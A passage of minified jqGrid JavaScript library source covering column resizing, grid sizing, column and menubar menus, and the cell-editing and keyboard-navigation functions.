forceresize !== 'boolean' ) { forceresize = false; } if( typeof setfrozen !== 'boolean' ) { setfrozen = true; } if(typeof iCol === "string" ) { for(i = 0; i < cmLen; i++) { if(cm[i].name === iCol) { iCol = i; break; } } } else { iCol = parseInt( iCol, 10 ); } if( !cm[iCol].resizable && !forceresize || cm[iCol].hidden) { return; } newWidth = parseFloat( newWidth ); // filters if(typeof iCol !== "number" || iCol < 0 || iCol > cm.length-1 || typeof newWidth !== "number" ) { return; } if( newWidth < pr.minColWidth ) { newWidth = pr.minColWidth; } if( pr.forceFit ) { pr.nv = 0; for (i = iCol+1; i < cmLen; i++){ if(cm[i].hidden !== true ) { pr.nv = i - iCol; break; } } } // use resize stuff tgrid.resizing = {idx : iCol }; diff = newWidth - tgrid.headers[iCol].width; if(pr.forceFit) { diffnv = tgrid.headers[ iCol + pr.nv].width - diff; if(diffnv < pr.minColWidth) { return; } tgrid.headers[ iCol + pr.nv].newWidth = tgrid.headers[ iCol + pr.nv].width - diff; } tgrid.newWidth = pr.tblwidth + diff; tgrid.headers[ iCol ].newWidth = newWidth; tgrid.dragEnd( false, setfrozen ); }); }, getStyleUI : function( styleui, classui, notclasstag, gridclass) { var ret = "", q = ""; try { var stylemod = styleui.split("."); if(!notclasstag) { ret = "class="; q = "\""; } if( $.jgrid.isNull(gridclass) ) { gridclass = ""; } switch(stylemod.length) { case 1 : ret += q + $.jgrid.trim(gridclass + " " + $.jgrid.styleUI[stylemod[0]][classui] + q); break; case 2 : ret += q + $.jgrid.trim(gridclass + " " + $.jgrid.styleUI[stylemod[0]][stylemod[1]][classui] + q); } } catch (cls) { ret = ""; } return ret; }, resizeGrid : function (timeout, width, height, refreshfrozen) { return this.each(function(){ var $t = this, frozen = false; if(timeout === undefined) { timeout = 500; } if( typeof width !== 'boolean' ) { width = true; } if( typeof height !== 'boolean' ) { height = true; } if( typeof refreshfrozen !== 'boolean' ) { refreshfrozen = true; } setTimeout(function(){ try { if($t.p.frozenColumns && refreshfrozen) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid("destroyFrozenColumns"); frozen = true; } if(width) { var winwidth = $(window).width(), parentwidth = $("#gbox_"+$.jgrid.jqID($t.p.id)).parent().width(), ww = $t.p.width; if( (winwidth-parentwidth) > 3 ) { ww = parentwidth; } else { ww = winwidth; } if( $($t.grid.bDiv).css("max-height") && ['100%','auto'].includes($t.p.height) && $($t.grid.bDiv).height() < $($t).height()) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridWidth', ww+$t.p.scrollOffset-2, false, false ); } else { $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridWidth', ww, $t.p.shrinkToFit, false ); } } if( !($t.p.height === 'auto' || $t.p.height === '100%') && height) { var wh = $t.p.height, bstw = $t.p.styleUI.search('Bootstrap') !== -1 && !isNaN($t.p.height) ? 2 : 0, winheight = $(window).height(), parentheight = $("#gbox_"+$.jgrid.jqID($t.p.id)).parent().height(); if( (winheight-parentheight) > 3 ) { wh = parentheight; } else { wh = winheight; } $("#"+$.jgrid.jqID($t.p.id)).jqGrid('setGridHeight', wh - bstw, true, false); } if($t.p.frozenRows) { $($t).trigger('jqGridAfterGridComplete.setFrozenRows'); } if(frozen) { $("#"+$.jgrid.jqID($t.p.id)).jqGrid("setFrozenColumns"); } } catch(e){} }, timeout); }); }, colMenuAdd : function (colname, options ) { var currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].colmenu; options = $.extend({ title: 'Item', icon : styles.icon_new_item, funcname: null, position : "last", closeOnRun : true, exclude : "", id : null, items : [] }, options ||{}); return this.each(function(){ options.colname = colname === 'all' ? "_all_" : colname; var $t = this; options.id = $.jgrid.isNull(options.id, true) ? $.jgrid.randId(): options.id; $t.p.colMenuCustom[options.id] = options; }); }, colMenuDelete : function ( id ) { return this.each(function(){ if(this.p.colMenuCustom.hasOwnProperty( id )) { delete this.p.colMenuCustom[ id ]; } }); }, menubarAdd : function( items ) { var currstyle = this[0].p.styleUI, styles = $.jgrid.styleUI[currstyle].common, item, str; return this.each(function(){ var $t = this; if( Array.isArray(items)) { for(var i = 0; i < items.length; i++) { item = items[i]; // icon, title, position, id, click if(!item.id ) { item.id = $.jgrid.randId(); } var ico = ''; if( item.icon) { ico = '<span class="'+styles.icon_base+' ' + item.icon+'"></span>'; } if(!item.position) { item.position = 'last'; } if(!item.closeoncall) { item.closeoncall = true; } if(item.divider) { str = '<li class="ui-menu-item divider" role="separator"></li>'; item.cick = null; } else { str = '<li class="ui-menu-item" role="presentation"><a id="'+ item.id+'" class="g-menu-item" tabindex="0" role="menuitem" ><table class="ui-common-table"><tr><td class="menu_icon">'+ico+'</td><td class="menu_text">'+item.title+'</td></tr></table></a></li>'; } if(item.position === 'last') { $("#"+this.p.id+"_menubar").append(str); } else { $("#"+this.p.id+"_menubar").prepend(str); } } } $("li a", "#"+this.p.id+"_menubar").each(function(i,n){ $(items).each(function(j,f){ if(f.id === n.id && $.jgrid.isFunction(f.click)) { $(n).on('click', function(e){ f.click.call($t, e); }); return false; } }); $(this).hover( function(e){ $(this).addClass(styles.hover); e.stopPropagation(); }, function(e){ $(this).removeClass(styles.hover);} ); }); }); }, menubarDelete : function( itemid ) { return this.each(function(){ $("#"+itemid, "#"+this.p.id+"_menubar").remove(); }); }, addColSearchMenu : function() { return this.each(function(){ var $t = this; $($t).colMenuAdd('sc',{ title: 'Reset', position : "first", id :"reset", funcname : function() { $("input[id^='jqs_']", "#"+this.p.id ).each(function(i){ $(this).val(""); }); $(this)[0].p._results ={}; $(this).jqGrid('showCol', this.p._avc); } }); $($t).colMenuAdd('sc',{ separator : true, id:"groupOp" }); $($t).colMenuAdd('sc',{ separator : true, id:"operOp" }); $($t).colMenuAdd('sc',{ //title: 'Close', separator : true, id :"close", funcname : function() { return true; } }); $($t).on("jqGridcolMenuBeforeProcess.custom", function(t, p){ if(p.module === 'custom' && p.column === 'sc') { var regional = $.jgrid.getRegional(this, "search"), tstl, i, selected, sopt = this.p.searchColOptions, getstyle = $.jgrid.getMethod("getStyleUI"), stylemodule = this.p.styleUI + ".base"; if(p.action.id === "reset") { p.action.title = regional.Reset || 'Reset'; p.action.icon = getstyle(this.p.styleUI + ".colmenu", 'icon_reset', true, ''); } if(p.action.id === "close") { p.action.title = regional.Close || 'Close'; p.action.icon = getstyle(this.p.styleUI + ".colmenu", 'icon_close', true, ''); } if(p.action.id === "groupOp") { tstl = getstyle(stylemodule, 'searchSelect', false, 'search-col-input'); p.action.title = ""+(regional.Operand || "Operand: ")+""; p.action.title +='<select data-grid-id='+this.p.id+' id="opselect" '+ tstl+'>'; tstl = getstyle(this.p.styleUI + ".colmenu", 'icon_group_op', true, ''); p.action.icon = tstl; for (i = 0;i< regional.groupOps.length; i++) { selected = sopt.searchOp === regional.groupOps[i].op ? "selected" : ""; p.action.title += "<option value=\"" + regional.groupOps[i].op +"\" " + selected+">"+regional.groupOps[i].text+"</option>"; } p.action.title += "</select>"; setTimeout(function() { $("#opselect").on('change', function(){ var gid =$("#"+ $(this).attr('data-grid-id'))[0]; gid.p.searchColOptions.searchOp = $(this).val(); $.jgrid.myfunc(gid.p.id); //$("#column_menu").remove(); }); }, 200); } if(p.action.id === "operOp") { tstl = getstyle(stylemodule, 'searchSelect', false, 'search-col-input'); p.action.title = regional.Operation || "Oper : "; p.action.title += '<select data-grid-id='+this.p.id+' id="selectoper" '+ tstl+'>'; tstl = getstyle(this.p.styleUI + ".colmenu", 'icon_oper_op', true, ''); p.action.icon = tstl; for (i = 0;i < regional.odata.length; i++) { selected = sopt.operand === regional.odata[i].oper ? "selected" : ""; if(sopt.aOperands.includes( regional.odata[i].oper )) { p.action.title += "<option value=\"" + regional.odata[i].oper +"\" " + selected+">"+regional.odata[i].text+"</option>"; } } p.action.title += "</select>"; setTimeout(function() { $("#selectoper").on('change', function(){ var gid =$("#"+ $(this).attr('data-grid-id'))[0]; gid.p.searchColOptions.operand = $(this).val(); $.jgrid.myfunc(gid.p.id); //$("#column_menu").remove(); }); }, 200); } } }); }); }, disableColMenu : function( colname ) { return this.each(function (){ $(this.grid.hDiv).find("tr #jqgh_"+this.p.id+"_"+colname+" > .colmenu").css("display","none"); }); }, enableColMenu : function( colname ) { return this.each(function (){ $(this.grid.hDiv).find("tr #jqgh_"+this.p.id+"_"+colname+" > .colmenu").css("display","inline"); }); } }); //module begin $.jgrid.extend({ editCell : function (iRow,iCol, ed, event, excel){ return this.each(function (){ var $t = this, nm, tmp,cc, cm, highlight = $(this).jqGrid('getStyleUI',$t.p.styleUI+'.common','highlight', true), disabled = $(this).jqGrid('getStyleUI',$t.p.styleUI+'.common','disabled', true), hover = !$t.p.ariaBody ? $(this).jqGrid('getStyleUI',$t.p.styleUI+'.common','hover', true) : "", inpclass = $(this).jqGrid('getStyleUI',$t.p.styleUI+".celledit",'inputClass', true), selclass = $(this).jqGrid('getStyleUI',$t.p.styleUI+".celledit",'selectClass', true); if (!$t.grid || $t.p.cellEdit !== true) {return;} if ( $($t.rows[iRow]).hasClass(disabled) ) {return;} iCol = parseInt(iCol,10); // select the row that can be used for other methods $t.p.selrow = $t.rows[iRow].id; if (!$t.p.knv && !$t.p.ariaBody) {$($t).jqGrid("GridNav");} // check to see if we have already edited cell if ($t.p.savedRow.length>0) { // prevent second click on that field and enable selects if (ed===true ) { if(iRow == $t.p.iRow && iCol == $t.p.iCol){ return; } } // save the cell $($t).jqGrid("saveCell",$t.p.savedRow[0].id,$t.p.savedRow[0].ic); } else { window.setTimeout(function () { $("#"+$.jgrid.jqID($t.p.knv)).attr("tabindex","-1").focus();},1); } cm = $t.p.colModel[iCol]; nm = cm.name; if (nm==='subgrid' || nm==='cb' || nm==='rn' || nm==='sc') {return;} try { cc = $($t.rows[iRow].cells[iCol]); } catch(e) { cc = $("td",$t.rows[iRow]).eq( iCol ); } if(parseInt($t.p.iCol,10)>=0 && parseInt($t.p.iRow,10)>=0 && $t.p.iRowId !== undefined) { var therow = $($t).jqGrid('getGridRowById', $t.p.iRowId); //$("td:eq("+$t.p.iCol+")",$t.rows[$t.p.iRow]).removeClass("edit-cell " + highlight); $(therow).removeClass("selected-row " + hover).find("td").eq( $t.p.iCol ).removeClass("edit-cell " + highlight); } cc.addClass("edit-cell " + highlight); $($t.rows[iRow]).addClass("selected-row " + hover); if (cm.editable===true && ed===true && !cc.hasClass("not-editable-cell") && (!$.jgrid.isFunction($t.p.isCellEditable) || $t.p.isCellEditable.call($t,nm,iRow,iCol))) { try { tmp = $.unformat.call($t,cc,{rowId: $t.rows[iRow].id, colModel:cm},iCol); } catch (_) { tmp = ( cm.edittype && cm.edittype === 'textarea' ) ? cc.text() : cc.html(); } if($t.p.autoencode) { tmp = $.jgrid.htmlDecode(tmp); } if (!cm.edittype) {cm.edittype = "text";} $t.p.savedRow.push({id:iRow, ic:iCol, name:nm, v:tmp, rowId: $t.rows[iRow].id }); try { if(tmp === " " || tmp === " " || (tmp.length===1 && tmp.charCodeAt(0)===160) ) {tmp='';} } catch (etmp){} if($.jgrid.isFunction($t.p.formatCell)) { var tmp2 = $t.p.formatCell.call($t, $t.rows[iRow].id,nm,tmp,iRow,iCol); if(tmp2 !== undefined ) {tmp = tmp2;} } $($t).triggerHandler("jqGridBeforeEditCell", [$t.rows[iRow].id, nm, tmp, iRow, iCol]); if ($.jgrid.isFunction($t.p.beforeEditCell)) { $t.p.beforeEditCell.call($t, $t.rows[iRow].id,nm,tmp,iRow,iCol); } var opt = $.extend({}, cm.editoptions || {} ,{id:iRow+"_"+nm,name:nm,rowId: $t.rows[iRow].id, oper:'edit', module : 'cell'}); if (excel) { tmp = event.key; } var elc = $.jgrid.createEl.call($t,cm.edittype,opt,tmp,true,$.extend({},$.jgrid.ajaxOptions,$t.p.ajaxSelectOptions || {})); if( $.inArray(cm.edittype, ['text','textarea','password']) > -1) { $(elc).addClass(inpclass); } else if(cm.edittype === 'select') { $(elc).addClass(selclass); } cc.html("").append(elc).attr("tabindex","0"); $.jgrid.bindEv.call($t, elc, opt); window.setTimeout(function () { $(elc).focus();},1); $("input, select, textarea",cc).on("keydown",function(e) { var key = e.key; if (e.keyCode === 27) { if($("input.hasDatepicker",cc).length >0) { if( $(".ui-datepicker").is(":hidden") ) { $($t).jqGrid("restoreCell",iRow,iCol); } else { $("input.hasDatepicker",cc).datepicker('hide'); } } else { $($t).jqGrid("restoreCell",iRow,iCol); } } //ESC if (e.keyCode === 13 && e.altKey && this.nodeName === "TEXTAREA") { this.value = this.value + "\r"; e.preventDefault(); return true; } if (e.keyCode === 13 && !e.shiftKey) { e.preventDefault(); $($t).jqGrid("saveCell",iRow,iCol); if(iRow < $t.rows.length-1 && excel) { $($t).jqGrid('focusBodyCell', iRow + 1 , iCol); } else { //setTimeout(function(){ $($t).jqGrid('focusBodyCell', iRow , iCol);},100); } // Prevent default action return false; } //Enter if (e.keyCode === 9 && !excel) { if(!$t.grid.hDiv.loading ) { if (e.shiftKey) { //Shift TAb if($t.p.ariaBody) { $($t).jqGrid("saveCell", iRow , iCol); if(iCol >1 ) { $($t).jqGrid('focusBodyCell', iRow , iCol -1); } } else { var succ2 = $($t).jqGrid("prevCell", iRow, iCol, e); if(!succ2 && $t.p.editNextRowCell) { if(iRow-1 > 0 && $t.rows[iRow-1]) { iRow--; $($t).jqGrid("prevCell", iRow, $t.p.colModel.length, e); } } } } else { if($t.p.ariaBody) { $($t).jqGrid("saveCell", iRow , iCol); if(iCol < $t.p.colModel.length -1) { $($t).jqGrid('focusBodyCell', iRow , iCol + 1); } } else { var succ = $($t).jqGrid("nextCell", iRow, iCol, e); if(!succ && $t.p.editNextRowCell) { if($t.rows[iRow+1]) { iRow++; $($t).jqGrid("nextCell", iRow, 0, e); } } } //Tab } } else { return false; } } if(!excel && $t.p.F2key && $t.p.ariaBody && e.key === 'F2') { $($t).jqGrid("saveCell", iRow , iCol); $($t).jqGrid('focusBodyCell', iRow , iCol); $t.p.F2key = false; } if(excel) { if( key === 'ArrowUp') { $($t).jqGrid("saveCell", iRow , iCol); if(iRow >1 ) { $($t).jqGrid('focusBodyCell', iRow - 1 , iCol); } } if( key === 'ArrowDown' ) { $($t).jqGrid("saveCell", iRow , iCol); if(iRow < $t.p.rows.length-1 ) { $($t).jqGrid('focusBodyCell', iRow + 1 , iCol); } } if( key === 'ArrowLeft') { $($t).jqGrid("saveCell", iRow , iCol); if(iCol >1 ) { $($t).jqGrid('focusBodyCell', iRow , iCol -1); } } if( key === 'ArrowRight' ) { $($t).jqGrid("saveCell", iRow , iCol); if(iCol < $t.p.colModel.length -1) { $($t).jqGrid('focusBodyCell', iRow , iCol + 1); } } if (e.keyCode === 9) { $($t).jqGrid("saveCell", iRow , iCol); if (e.shiftKey) { if(iCol >1 ) { $($t).jqGrid('focusBodyCell', iRow , iCol -1); } } else { if(iCol < $t.p.colModel.length -1) { $($t).jqGrid('focusBodyCell', iRow , iCol + 1); } } } } e.stopPropagation(); }); $($t).triggerHandler("jqGridAfterEditCell", [$t.rows[iRow].id, nm, tmp, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterEditCell)) { $t.p.afterEditCell.call($t, $t.rows[iRow].id,nm,tmp,iRow,iCol); } } else { tmp = cc.html().replace(/\ \;/ig,''); $($t).triggerHandler("jqGridCellSelect", [$t.rows[iRow].id, iCol, tmp, event]); if ($.jgrid.isFunction($t.p.onCellSelect)) { $t.p.onCellSelect.call($t, $t.rows[iRow].id, iCol, tmp, event); } } $t.p.iCol = iCol; $t.p.iRow = iRow; $t.p.iRowId = $t.rows[iRow].id; }); }, saveCell : function (iRow, iCol, over_value){ return this.each(function(){ var $t= this, cm = $t.p.colModel[iCol], nm = cm.name, trow = $($t).jqGrid("getGridRowById", $t.rows[iRow].id), cc = $('td', trow).eq( iCol ), tmp; if(over_value !== undefined ) { tmp = $.unformat.call($t, cc, {rowId: $t.rows[iRow].id, colModel:cm}, iCol); $t.p.savedRow.push( { id:iRow, ic:iCol, name:nm, v: tmp, rowId: $t.rows[iRow].id } ); $t.p.savedValues = {oldvalue: tmp, newvalue: over_value, indexRow : iRow}; } var fr = $t.p.savedRow.length >= 1 ? 0 : null, errors = $.jgrid.getRegional(this, 'errors'), edit =$.jgrid.getRegional(this, 'edit'); if (!$t.grid || $t.p.cellEdit !== true) {return;} if(fr !== null) { var nmjq = $.jgrid.jqID(nm), v, v2, p = $(cc).offset(); if( over_value === undefined ) { switch (cm.edittype) { case "select": if(!cm.editoptions.multiple) { v = $("#"+iRow+"_"+nmjq+" option:selected", trow ).val(); v2 = $("#"+iRow+"_"+nmjq+" option:selected", trow).text(); } else { var sel = $("#"+iRow+"_"+nmjq, trow), selectedText = []; v = $(sel).val(); if(v) { v.join(",");} else { v=""; } $("option:selected",sel).each( function(i,selected){ selectedText[i] = $(selected).text(); } ); v2 = selectedText.join(","); } if(cm.formatter) { v2 = v; } break; case "checkbox": var cbv = ["Yes","No"]; if(cm.editoptions && cm.editoptions.value){ cbv = cm.editoptions.value.split(":"); } v = $("#"+iRow+"_"+nmjq, trow).is(":checked") ? cbv[0] : cbv[1]; v2=v; break; case "password": case "text": case "textarea": case "button" : v = $("#"+iRow+"_"+nmjq, trow).val(); v2=v; break; case 'custom' : try { if(cm.editoptions && $.jgrid.isFunction(cm.editoptions.custom_value)) { v = cm.editoptions.custom_value.call($t, $(".customelement",cc),'get'); if (v===undefined) { throw "e2";} else { v2=v; } } else { throw "e1"; } } catch (e) { if (e==="e1") { $.jgrid.info_dialog(errors.errcap, "function 'custom_value' " + edit.msg.nodefined, edit.bClose, {styleUI : $t.p.styleUI }); } else if (e==="e2") { $.jgrid.info_dialog(errors.errcap, "function 'custom_value' " + edit.msg.novalue, edit.bClose, {styleUI : $t.p.styleUI }); } else {$.jgrid.info_dialog(errors.errcap, e.message, edit.bClose, {styleUI : $t.p.styleUI }); } } break; } } else { if (cm.editable===true && !cc.hasClass("not-editable-cell") && (!$.jgrid.isFunction($t.p.isCellEditable) || $t.p.isCellEditable.call($t,nm,iRow,iCol))) { v = over_value; v2 = v; } else { v = over_value; v2 = v; $t.p.savedRow.splice(0,1); return; } } // The common approach is if nothing changed do not do anything if (v2 !== $t.p.savedRow[fr].v){ var vvv = $($t).triggerHandler("jqGridBeforeSaveCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if (vvv) {v = vvv; v2=vvv;} if ($.jgrid.isFunction($t.p.beforeSaveCell)) { var vv = $t.p.beforeSaveCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow, iCol); if (vv) {v = vv; v2=vv;} } var cv = $.jgrid.checkValues.call($t, v, iCol), nuem = false; if(cv[0] === true) { var addpost = $($t).triggerHandler("jqGridBeforeSubmitCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]) || {}; if ($.jgrid.isFunction($t.p.beforeSubmitCell)) { addpost = $t.p.beforeSubmitCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow, iCol); if (!addpost) {addpost={};} } var retsub = $($t).triggerHandler("jqGridOnSubmitCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if(retsub === undefined) { retsub = true; } if($.jgrid.isFunction($t.p.onSubmitCell) ) { retsub = $t.p.onSubmitCell($t.p.savedRow[fr].rowId, nm, v, iRow, iCol); if( retsub === undefined) { retsub = true; } } if( retsub === false) { return; } if( $("input.hasDatepicker",cc).length >0) { $("input.hasDatepicker",cc).datepicker('hide'); } var postdata = {}; if ($t.p.cellsubmit === 'remote') { if ($t.p.cellurl) { if($t.p.autoencode) { v = $.jgrid.htmlEncode(v); } if(cm.editoptions && cm.editoptions.NullIfEmpty && v === "") { v = 'null'; nuem = true; } postdata[nm] = v; var opers = $t.p.prmNames, idname = opers.id, oper = opers.oper; postdata[idname] = $.jgrid.stripPref($t.p.idPrefix, $t.p.savedRow[fr].rowId); postdata[oper] = opers.editoper; postdata = $.extend(addpost,postdata); $($t).jqGrid("progressBar", {method:"show", loadtype : $t.p.loadui, htmlcontent: $.jgrid.getRegional($t,'defaults.savetext') }); $t.grid.hDiv.loading = true; $.ajax( $.extend( { url: $t.p.cellurl, data :$.jgrid.isFunction($t.p.serializeCellData) ? $t.p.serializeCellData.call($t, postdata, nm) : postdata, type: "POST", success: function (anydata, stat, result) { $($t).jqGrid("progressBar", {method:"hide", loadtype : $t.p.loadui }); $t.grid.hDiv.loading = false; if (stat === 'success') { var ret = $($t).triggerHandler("jqGridAfterSubmitCell", [$t, result, postdata[idname], nm, v, iRow, iCol]) || [true, '']; if (ret[0] === true && $.jgrid.isFunction($t.p.afterSubmitCell)) { ret = $t.p.afterSubmitCell.call($t, result, postdata[idname], nm, v, iRow, iCol); } if(ret[0] === true){ if(nuem) { v = ""; } $(cc).empty(); $($t).jqGrid("setCell",$t.p.savedRow[fr].rowId, iCol, v2, false, false, true); cc = $('td', trow).eq( iCol ); $(cc).addClass("dirty-cell"); $(trow).addClass("edited"); $($t).triggerHandler("jqGridAfterSaveCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterSaveCell)) { $t.p.afterSaveCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow,iCol); } $t.p.savedRow.splice(0,1); } else { $($t).triggerHandler("jqGridErrorCell", [result, stat]); if ($.jgrid.isFunction($t.p.errorCell)) { $t.p.errorCell.call($t, result, stat); } else { $.jgrid.info_dialog(errors.errcap, ret[1], edit.bClose, { styleUI : $t.p.styleUI, top:p.top+30, left:p.left , onClose : function() { if(!$t.p.restoreCellonFail) { $("#"+iRow+"_"+nmjq, trow).focus(); } } }); } if( $t.p.restoreCellonFail) { $($t).jqGrid("restoreCell",iRow,iCol); } } } }, error:function(res,stat,err) { $("#lui_"+$.jgrid.jqID($t.p.id)).hide(); $t.grid.hDiv.loading = false; $($t).triggerHandler("jqGridErrorCell", [res, stat, err]); if ($.jgrid.isFunction($t.p.errorCell)) { $t.p.errorCell.call($t, res,stat,err); } else { $.jgrid.info_dialog(errors.errcap, res.status+" : "+res.statusText+"<br/>"+stat, edit.bClose, { styleUI : $t.p.styleUI, top:p.top+30, left:p.left , onClose : function() { if(!$t.p.restoreCellonFail) { $("#"+iRow+"_"+nmjq, trow).focus(); } } }); } if( $t.p.restoreCellonFail) { $($t).jqGrid("restoreCell", iRow, iCol); } } }, $.jgrid.ajaxOptions, $t.p.ajaxCellOptions || {})); } else { try { $.jgrid.info_dialog(errors.errcap,errors.nourl, edit.bClose, {styleUI : $t.p.styleUI }); if( $t.p.restoreCellonFail) { $($t).jqGrid("restoreCell", iRow, iCol); } } catch (e) {} } } if ($t.p.cellsubmit === 'clientArray') { $(cc).empty(); $($t).jqGrid("setCell", $t.p.savedRow[fr].rowId, iCol, v2, false, false, true); cc = $('td', trow).eq( iCol ); $(cc).addClass("dirty-cell"); $(trow).addClass("edited"); $($t).triggerHandler("jqGridAfterSaveCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterSaveCell)) { $t.p.afterSaveCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow, iCol); } $t.p.savedRow.splice(0,1); } else if($t.p.cellsubmit === 'storage') { postdata = $t.p.savedRow[fr]; postdata[nm] = v; postdata[$t.p.keyName] = $.jgrid.stripPref($t.p.idPrefix, $t.p.savedRow[fr].rowId); $($t).jqGrid('updateStorageRecord', postdata) .then(function(e){ if(e.type==="complete") { $(cc).empty(); $($t).jqGrid("setCell", $t.p.savedRow[fr].rowId, iCol, v2, false, false, true); cc = $('td', trow).eq( iCol ); $(cc).addClass("dirty-cell"); $(trow).addClass("edited"); $($t).triggerHandler("jqGridAfterSaveCell", [$t.p.savedRow[fr].rowId, nm, v, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterSaveCell)) { $t.p.afterSaveCell.call($t, $t.p.savedRow[fr].rowId, nm, v, iRow, iCol); } $t.p.savedRow.splice(0,1); } }) .catch(function(e) { $.jgrid.info_dialog("Error",e.target.error.name + " : "+e.target.error.message,'Close'); }); } } else { try { if( $.jgrid.isFunction($t.p.validationCell) ) { $t.p.validationCell.call($t, $("#"+iRow+"_"+nmjq, trow), cv[1], iRow, iCol); } else { window.setTimeout(function(){ $.jgrid.info_dialog(errors.errcap,v+ " " + cv[1], edit.bClose, { styleUI : $t.p.styleUI, top:p.top+30, left:p.left , onClose : function() { if(!$t.p.restoreCellonFail) { $("#"+iRow+"_"+nmjq, trow).focus(); } } }); },50); if( $t.p.restoreCellonFail) { $($t).jqGrid("restoreCell", iRow, iCol); } } } catch (e) { alert(cv[1]); } } } else { $($t).jqGrid("restoreCell", iRow, iCol); } } window.setTimeout(function () { $("#"+$.jgrid.jqID($t.p.knv)).attr("tabindex","-1").focus(); if($t.p.ariaBody) { $($t).jqGrid('focusBodyCell', $t.p.iRow, $t.p.iCol); } },0); }); }, restoreCell : function(iRow, iCol) { return this.each(function(){ var $t= this, fr = $t.p.savedRow.length >= 1 ? 0 : null; if (!$t.grid || $t.p.cellEdit !== true ) {return;} if(fr !== null) { var trow = $($t).jqGrid("getGridRowById", $t.p.savedRow[fr].rowId), cc = $('td', trow).eq( iCol ); // datepicker fix if($.jgrid.isFunction($.fn.datepicker)) { try { $("input.hasDatepicker",cc).datepicker('hide'); } catch (e) {} } $(cc).empty().attr("tabindex","-1"); $($t).jqGrid("setCell", $t.p.savedRow[0].rowId, iCol, $t.p.savedRow[fr].v, false, false, true); $($t).triggerHandler("jqGridAfterRestoreCell", [$t.p.savedRow[fr].rowId, $t.p.savedRow[fr].v, iRow, iCol]); if ($.jgrid.isFunction($t.p.afterRestoreCell)) { $t.p.afterRestoreCell.call($t, $t.p.savedRow[fr].rowId, $t.p.savedRow[fr].v, iRow, iCol); } $t.p.savedRow.splice(0,1); } window.setTimeout(function () { $("#"+$t.p.knv).attr("tabindex","-1").focus(); if($t.p.ariaBody) { $($t).jqGrid('focusBodyCell', $t.p.iRow, $t.p.iCol); } },0); }); }, nextCell : function (iRow, iCol, event) { var ret; this.each(function (){ var $t = this, nCol=false, i; if (!$t.grid || $t.p.cellEdit !== true) {return;} // try to find next editable cell for (i=iCol+1; i<$t.p.colModel.length; i++) { if ( $t.p.colModel[i].editable ===true && (!$.jgrid.isFunction($t.p.isCellEditable) || $t.p.isCellEditable.call($t, $t.p.colModel[i].name,iRow,i))) { nCol = i; break; } } if(nCol !== false) { ret = true; $($t).jqGrid("editCell", iRow, nCol, true, event); } else { ret = false; if ($t.p.savedRow.length >0) { $($t).jqGrid("saveCell",iRow,iCol); } } }); return ret; }, prevCell : function (iRow, iCol, event) { var ret; this.each(function (){ var $t = this, nCol=false, i; if (!$t.grid || $t.p.cellEdit !== true) {return false;} // try to find next editable cell for (i=iCol-1; i>=0; i--) { if ( $t.p.colModel[i].editable ===true && (!$.jgrid.isFunction($t.p.isCellEditable) || $t.p.isCellEditable.call($t, $t.p.colModel[i].name, iRow,i))) { nCol = i; break; } } if(nCol !== false) { ret = true; $($t).jqGrid("editCell", iRow, nCol, true, event); } else { ret = false; if ($t.p.savedRow.length >0) { $($t).jqGrid("saveCell",iRow,iCol); } } }); return ret; }, GridNav : function() { return this.each(function () { var $t = this; if (!$t.grid || $t.p.cellEdit !== true ) {return;} // trick to process keydown on non input elements $t.p.knv = $t.p.id + "_kn"; var selection = $("<div style='position:fixed;top:0px;width:1px;height:1px;' tabindex='0'><div tabindex='-1' style='width:1px;height:1px;' id='"+$t.p.knv+"'></div></div>"), i, kdir; function scrollGrid(iR, iC, tp){ if (tp.slice(0,1)==='v') { var ch = $($t.grid.bDiv)[0].clientHeight, st = $($t.grid.bDiv)[0].scrollTop, nROT = $t.rows[iR].offsetTop+$t.rows[iR].clientHeight, pROT = $t.rows[iR].offsetTop; if(tp === 'vd') { if(nROT >= ch) { $($t.grid.bDiv)[0].scrollTop = $($t.grid.bDiv)[0].scrollTop + $t.rows[iR].clientHeight; } } if(tp === 'vu'){ if (pROT < st ) { $($t.grid.bDiv)[0].scrollTop = $($t.grid.bDiv)[0].scrollTop - $t.rows[iR].clientHeight; } } } if(tp==='h') { var cw = $($t.grid.bDiv)[0].clientWidth, sl = $($t.grid.bDiv)[0].scrollLeft, nCOL = $t.rows[iR].cells[iC].offsetLeft+$t.rows[iR].cells[iC].clientWidth, pCOL = $t.rows[iR].cells[iC].offsetLeft; if(nCOL >= cw+parseInt(sl,10)) { $($t.grid.bDiv)[0].scrollLeft = $($t.grid.bDiv)[0].scrollLeft + $t.rows[iR].cells[iC].clientWidth; } else if (pCOL < sl) { $($t.grid.bDiv)[0].scrollLeft = $($t.grid.bDiv)[0].scrollLeft - $t.rows[iR].cells[iC].clientWidth; } } } function findNextVisible(iC,act){ var ind, i; if(act === 'lft') { ind = iC+1; for (i=iC;i>=0;i--){ if ($t.p.colModel[i].hidden !== true) { ind = i; break; } } } if(act === 'rgt') { ind = iC-1; for (i=iC; i<$t.p.colModel.length;i++){ if ($t.p.colModel[i].hidden !== true) { ind = i; break; } } } return ind; } $(selection).insertBefore($t.grid.cDiv); $("#"+$t.p.knv) .focus() .keydown(function (e){ kdir = e.keyCode; if($t.p.direction === "rtl") { if(kdir===37) { kdir = 39;} else if (kdir===39) { kdir = 37; } } switch (kdir) { case 38: if ($t.p.iRow-1 >0 ) { scrollGrid($t.p.iRow-1,$t.p.iCol,'vu'); $($t).jqGrid("editCell",$t.p.iRow-1,$t.p.iCol,false,e); } break; case 40 : if ($t.p.iRow+1 <= $t.rows.length-1) { scrollGrid($t.p.iRow+1,$t.p.iCol,'vd'); $($t).jqGrid("editCell",$t.p.iRow+1,$t.p.iCol,false,e); } break; case 37 : if ($t.p.iCol -1 >= 0) { i = 